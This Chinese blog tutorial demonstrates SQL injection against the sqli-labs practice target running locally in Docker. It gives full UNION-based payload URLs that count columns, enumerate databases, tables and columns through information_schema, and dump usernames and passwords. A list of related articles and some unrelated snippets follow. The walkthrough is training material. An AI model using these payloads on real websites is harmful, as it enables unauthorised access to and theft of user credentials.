SQL注入(SQL Injection),指将非法的SQL命令插入到URL或者Web表单中请求,而这些请求被服务器认为是正常的SQL语句从而进行执行。

我们都是善良的银!一生戎码只为行侠仗义,知道这个不是为了非法的事,只是知道小偷怎么偷东西才能更好地防范。

下面我们用sqli-labs这个开源项目来演示一下SQL注入盗取信息的全程,我们不是为了

sqli-labs是一个sql注入的练习靶机,项目地址为:/sqli-labs

源码是用php写的,这里我使用的是docker部署的,如下

这里我是去store.docker.com搜索的镜像使用:https://hub.docker.com/r/acgpiano/sqli-labs

运行

  1. docker run -dt --name sqli-lab -p 8089:80 acgpiano/sqli-labs:latest

运行后打开http://127.0.0.1:8089/,界面如下

这是一个闯关的课程,一个有22课,接下来我们只会用到Less-1来演示,也就是单引号注入,但是核心原理其实都是通过union出对应的信息盗取数据。

更多技巧可以参考这篇文章:SQL注入篇——sqli-labs最详细1-75闯关指南

打开:http://127.0.0.1:8089/Less-1/,看到如下内容

我们输入id:http://127.0.0.1:8089/Less-1/?id=1,显示了id为1的用户

对应的php源码是这样的:

  1. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

相当于最后sql变成了

  1. SELECT * FROM users WHERE id='1' LIMIT 0,1

知其然也知其所以然,欧耶~

数据库结构

数据库是这样的

注入示例

下面使用Less-1的单引号注入来演示一下盗取信息的过程

我们把id改成:id=1' and 1=1 -- -,访问

  1. http://127.0.0.1:8089/Less-1/?id=1' and 1=1 -- -

可以正常访问,说明可以用单引号注入,SQL语句相当于变成了

  1. SELECT * FROM users WHERE id='1' and 1=1 -- ' LIMIT 0,1

这就是传说中的单引号注入,相当于变成了下面这样的语句,1=1是一定满足条件的,相当于构造了下面这样的SQL语句

判断共有多少字段

  1. union select 1,user(),database()­­ -- -

通过orderby试探,order by是可以直接指定字段的列来排序的,所以可以挨个试,

比如当我们使用order by 5,访问

  1. http://127.0.0.1:8089/Less-1/?id=1' order by 5 -- -

报错了,说明不对

当我们用order by 3的时候,正常返回了,访问地址:

  1. http://127.0.0.1:8089/Less-1/?id=1' order by 3 -- -

正常返回了,说明字段有3个。

判断字段显示位置

  1. union select 1,2,3 -- -

我们构造一下,访问

  1. http://127.0.0.1:8089/Less-1/?id='union select 1,2,3 -- -

显示出登录用户和数据库名

  1. union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 -- -

已经匹配出了字段,接下来的所有用户信息都需要经过union相等的列来获取,访问

  1. http://127.0.0.1:8089/Less-1/?id=' union select 1,database(),user() -- -

查看所有数据库

  1. union select 1,2,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)-- -

访问

  1. http://127.0.0.1:8089/Less-1/?id=' union select 1,2,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)-- -

其实原理就是构造出了这样的语句

获取对应数据库的表

  1. UNION SELECT 1,2,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security') -- -

访问

  1. http://127.0.0.1:8089/Less-1/?id=' UNION SELECT 1,2,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security') -- -

访问如下



我们看到有emails,referers,uagents,users这四个表

获取对应表的字段名称

  1. union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -

访问

  1. http://127.0.0.1:8089/Less-1/?id=' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -

可以看到用id、username、password3个字段

获取用户密码

  1. union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 -- -

访问

  1. http://127.0.0.1:8089/Less-1/?id=' union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users),3 -- -

用户名和密码全出来了,厉害了我的哥!

到这里,我们就学会了怎么把对方所有的隐私load出来了,有点可怕啊!你学会了吗!

手把手教你通过SQL注入盗取数据库信息的更多相关文章

  1. c# 登录 防止sql注入 mysql数据库

    利用参数化 防止SQL注入 public string serachName(string name) { string result = ""; try { conn.Open( ...

  2. 手把手教你用Mysql-Cluster-7.5搭建数据库集群

    前言 当你的业务到达一定的当量,肯定需要一定数量的数据库来负载均衡你的数据库请求,我在之前的博客中已经说明了,如何实现负载均衡,但是还有一个问题就是数据同步,因为负载均衡的前提就是,各个服务器的数据库 ...

  3. 手把手教你使用C#操作SQLite数据库,新建数据库,创建表,插入,查询,删除,运算符,like

    目录: 一.新建项目,添加引用 二.创建数据库 三.创建表 四.插入数据  五.查询数据  六.删除数据  七.运算符 八.like语句 我的环境配置:windows 64,VS,SQLite(点击下 ...

  4. 手把手教你用Rancher创建产品质量数据库设置

    目标:在本文中,我们将介绍如何运行一个分布式产品质量数据库设置,它由Rancher进行管理,并且保证持久性.为了部署有状态的分布式Cassandra数据库,我们将使用Stateful Sets (有状 ...

  5. SQL SERVER 查看数据库信息

    a.使用sys.database_files查看有关数据库文件的信息 b.使用sys.filegroups查看有关数据库组的信息. c.使用sys.master_files 查看数据库文件的基本信息和 ...

  6. ThinkPHP5 SQL注入漏洞 && 敏感信息泄露

    访问看到用户名被显示了 http://192.168.49.2/index.php?ids[]=1&ids[]=2 访问http://your-ip/index.php?ids[0,updat ...

  7. sql注入原理及解决方案

    sql注入原理 sql注入原理就是用户输入动态的构造了意外sql语句,造成了意外结果,是攻击者有机可乘 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的 ...

  8. 数据库防火墙如何防范SQL注入行为

    SQL注入是当前针对数据库安全进行外部攻击的一种常见手段.现有主流应用大多基于B/S架构开发,SQL注入的攻击方式正是利用web层和通讯层的缺陷对数据库进行外部恶意攻击.将SQL命令巧妙的插入通讯的交 ...

  9. SQL注入-数据库判断

    0x01.sql注入 sql注入是在系统开发的过程中程序员编程不规范,我们可以通过把SQL语句插入到WEB表单中进行查询字符串,最终达成欺骗服务器执行恶意的SQL命令.对于现在的网站SQL注入越来越严 ...

随机推荐

  1. 敏感信息泄露 - Pikachu

    概述: 由于后台人员的疏忽或者不当的设计,导致不应该被前端用户看到的数据被轻易的访问到. 比如:---通过访问url下的目录,可以直接列出目录下的文件列表;---输入错误的url参数后报错信息里面包含 ...

  2. 24V降压3.3V芯片,低压降线性稳压器

    PW6206系列是一款高精度,高输入电压,低静态电流,高速,低压降线性稳压器具有高纹波抑制.在VOUT=5V&VIN=7V时,输入电压高达40V,负载电流高达300mA,采用BCD工艺制造.P ...

  3. pytest fixtures装饰器的使用

    一.pytest中可以使用@pytest.fixture 装饰器来装饰一个方法,被装饰方法的方法名可以作为一个参数传入到测试方法中.可以使用这种方式来完成测试之前的初始化,也可以返回数据给测试函数. ...

  4. nfs samba文件共享服务

    (注意:实验之前强关闭selinux和防火墙) 一丶nfs ① 1.服务端 启动服务 systemctl start nfs.service   配置文件 vim /etc/exports share ...

  5. The OAuth 2.0 Authorization Framework OAuth2.0的核心角色code 扫码登录

    RFC 6749 - The OAuth 2.0 Authorization Framework https://tools.ietf.org/html/rfc6749 The OAuth 2.0 a ...

  6. Quartz 定时任务调度

    一.在Quartz.NET中quartz.properties的配置文件,忽略不修改,考虑下面: var props = new NameValueCollection { { "quart ...

  7. tarjan复习笔记 双连通分量,强连通分量

    声明:图自行参考割点和桥QVQ 双连通分量 如果一个无向连通图\(G=(V,E)\)中不存在割点(相对于这个图),则称它为点双连通图 如果一个无向连通图\(G=(V,E)\)中不存在割边(相对于这个图 ...

  8. Treap——堆和二叉树的完美结合,性价比极值的搜索树

    大家好,今天和大家聊一个新的数据结构,叫做Treap. Treap本质上也是一颗BST(平衡二叉搜索树),和我们之前介绍的SBT是一样的.但是Treap维持平衡的方法和SBT不太一样,有些许区别,相比 ...

  9. 通过f5的默认路由使服务器上网

    1.通过f5的默认路由使服务器上网 1)将服务器的默认网关指到f5的floating ip 2)f5上配置

  10. (15)Linux命令基本格式

    1.命令提示符 登录系统后,第一眼看到的内容是: [root@localhost ~]# 这就是 Linux 系统的命令提示符.那么,这个提示符的含义是什么呢? []:这是提示符的分隔符号,没有特殊含 ...